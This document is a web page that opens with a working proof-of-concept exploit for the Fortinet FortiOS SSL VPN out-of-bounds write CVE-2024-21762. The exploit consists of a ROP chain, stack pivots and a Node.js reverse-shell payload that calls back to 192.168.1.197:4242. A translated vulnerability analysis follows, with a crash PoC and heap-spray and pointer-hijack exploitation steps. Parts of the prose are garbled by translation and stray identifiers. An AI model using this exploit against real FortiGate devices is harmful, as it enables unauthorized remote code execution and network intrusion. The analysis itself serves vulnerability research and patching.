out-of-bounds write in Fortinet FortiOS CVE-2024-21762 vulnerability
Exploit poc by assetnote
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate released a version update in February, fixing multiple medium- and high-risk vulnerabilities. One of the severe-level vulnerabilities is an unauthorized out-of-bounds write vulnerability in SSL VPN. The vulnerability warning states that this vulnerability may be exploited in the wild. This article will introduce the author's analysis of the process of exploiting this vulnerability to achieve remote code execution.
The environment used for vulnerability analysis in this article is FGT_VM64-v7.4.2.F-build2571
Comparing the binaries of the repaired versions (7.4.2 and 7.4.3), the analysis found that the repair code is located in function sub_18F4980
(7.4.2).
Analyzing this function, it is not difficult to find that the logic of this function is to read the body data of the HTTP POST request. At the same time, Transfer-Encodingit is determined according to the request header whether to read in chunk format or based on Content-Lengthreading. According to the control flow graph comparison results, there are two code modifications:
When parsing the chunk format, call ap_getlinethe read chunk length and check ap_getlinewhether the return value is greater than 16. If it is greater than 16, it is considered an illegal chunk length.
When reading the chunk trailer, the source of the written \r\noffset is line_offthe
assignment source, line_offthe
value before repair is from , and the return value after *(_QWORD *)(a1 + 744)
repair is . line_offap_getline
Continuing to trace forward, *(_QWORD *)(a1 + 744)
the value that can be found is the length of the chunk length field of the first verification.
Continuing to trace forward, *(_QWORD *)(a1 + 744)
the value that can be found is the length of the chunk length field of the first verification.
At the same time, reading the code can tell that when the value of the chunk length field is 0 after hex decoding, it will enter the logic of chunk trailer reading.
After analyzing the patch, we can draw the following conclusions:
- When parsing a chunk, if the hex decoded value of the chunk length field is 0, start reading the chunk trailer.
- After calling ap_getline to read the chunk trailer, it will be written to the buffer according to the length of the chunk length field
\r\n
.
Therefore, if many 0s are passed in the chunk length field, and the length of 0s is greater than 1/2 of the remaining buffer length, an out-of-bounds write will be triggered \r\n. Through debugging, we can know that the target buffer is located on the stack (function sub_1A111E0)
, and the return address is stored at offset 0x2028. If written at offset 0x202e \r\n
, reta crash will occur due to an illegal address when the function returns to execute the instruction to resume rip.
Crash PoC:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Crash scene:
By analyzing the cause of the vulnerability, it can be seen that the vulnerability can be used to write \r\n
two bytes out of bounds on the stack, and the out-of-bounds range is close to 0x2000
. Since the written content is very limited, RCE cannot be achieved by directly hijacking rip. Therefore, you need to focus on the memory pointer saved on the stack.
What is easier to think of is to hijack rbp and overwrite the low byte of rbp so that rbp just points to a controllable memory area. When the upper-level function returns to execute the instruction, rip can be completely hijacked. However, during verification, it was found that even if rbp on the stack is overwritten, rsp and rip cannot be hijacked, and the program will not even crash. Continuing to trace back up, we find the parent function . This function is not called to restore rsp when it returns , but directly , so it cannot achieve the expected effect. leave retsub_1A111E0sub_1A26040 leave retadd rsp, 0x18
As seen in the previous section, the function saves the values of the five registers rbx
and r12-r15 on the stack, and restores these registers when the function returns. Continue backtracking to find the parent function . You can see that what is saved in r13 is exactly the parameters sub_1A26040sub_1A27650a1
.
a1 is a structure pointer. Through debugging, we can also see that a heap address is saved on the stack r13
If the memory in the red area in the figure is overwritten by out-of-bounds writing, then the r13 register is restored when the function returns, and the value of the pointer can be tampered with . If the heap memory can be laid out so that a1 points to a memory area arranged in advance, then the entire a1 structure can be hijacked. At the same time, through analysis of the code logic of and , there are a large number of dynamic function calls of a1 multi-level structure members, so there will be more opportunities to hijack a1.sub_1A26040a1sub_1A27650sub_1A26040
According to the assumption, after the low byte of the a1 pointer is overwritten , it can point to the pre-arranged memory. as the picture shows: \r\n
In order to achieve this effect, the following conditions need to be met:
The a1
structure address is higher than the heap spray area address, and the gap between them is very small.
0x7fxxxxxxx0a0d
Must point to the forged structure.
Debugging can find that the size of the a1 structure is 0x730
. According to the alignment rules of jemalloc, a heap block of size 0x800
will be allocated. The 0x800 heap block is not commonly used during request processing, so it is easy to exhaust the 0x800
heap block in tcache, and at the same time apply for more new 0x800 blocks, so that they can enter tcache after release. Heap injection also selects heap blocks of uncommon sizes so that the newly applied heap blocks are continuous and close to the newly applied 0x800; heap injection chooses to use larger heap blocks to ensure that their addresses are aligned with 0x800, so that It is easy to ensure that the lower 12 bits of each forged structure address are 0xa0d; the heap spray range is not less than 0x10000
to ensure that it points to the heap spray area. The effect after hijacking is as follows: 0x7fxxxxxxx0a0d
Through the above operations, the hijacking of the a1 structure can be achieved. Combing through the code of function sum, there are many dynamic calls to the second-level pointer and third-level pointer of the a1 structure member, for example: sub_1A27650sub_1A26040
When (0<N<5)
is satisfied , it will be called dynamically . Therefore, the member needs to be faked into a multi-level pointer, which ultimately points to the function we want to call. Since the target binary does not have PIE protection turned on, you can find qualified multi-level pointers in the target binary. Analyzing the binary, we can find that the first points to the GOT table address of the corresponding function.*(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0*(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1)a1 + 0x298
Therefore, taking functions as an example, you can find qualified multi-level pointers system
During heap spraying, changing the value at offset 0x298 of the structure can be used to call the system function. The effect is as follows: 0x4368d0
As shown in the figure, the parameter of the dynamic call is exactly a1, and the memory pointed to is controllable. At this point, you can normally use the system function to execute any command. However, in FortiGate, the file does not have the ability to execute commands, so using the system function to execute commands cannot be executed successfully. /bin/sh
Since the system function cannot execute commands, we can only find other ways to complete RCE. The existing condition is that any GOT table function can be called, and the memory pointed to by the first parameter of the function is controllable. Therefore, if there is a function in the GOT table that will call back a certain member of the parameter, there is a chance to achieve RIP hijacking. It’s easy to think of functions that were often used in previous FortiGate exploits . SSL_do_handshake
You only need to construct the SSL structure so that the conditions are met and the final call is made to realize rip hijacking and hijack rip to 0xdeadbeef as shown in the figure:s->handshake_func(s)
The FortiGate main program is an All-in-One binary with a size of over 70MB. There are a large number of gadgets that can be used. It is not difficult to implement RCE using ROP, so I won’t go into details.
Although web mode is turned off by default in SSL VPN version 7.4.2 and browser access returns 403, this vulnerability can still be exploited in the default configuration.
This vulnerability is similar to the heap overflow vulnerability caused by XOR last year . They are both seemingly useless overflow vulnerabilities. The exploitation process is more tricky and more like a CTF question. However, compared with traditional CTF problems that attack heap managers, real vulnerabilities require more context structures and code logic to be exploited. The author's level is limited. If there are any mistakes, please correct me.CVE-2023-27997
original post In Chinese : https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247484811&idx=1&sn=2e0407a32ba0c2925d6d857f4cdf7cbb&chksm=c3571307f4209a110d6b28cea9fe59ac0f0a2079c998a682e919860f397ea647fa0794933906&mpshare=1&scene=1&srcid=0313EaETjGzEAvOdByUt6ovU#rd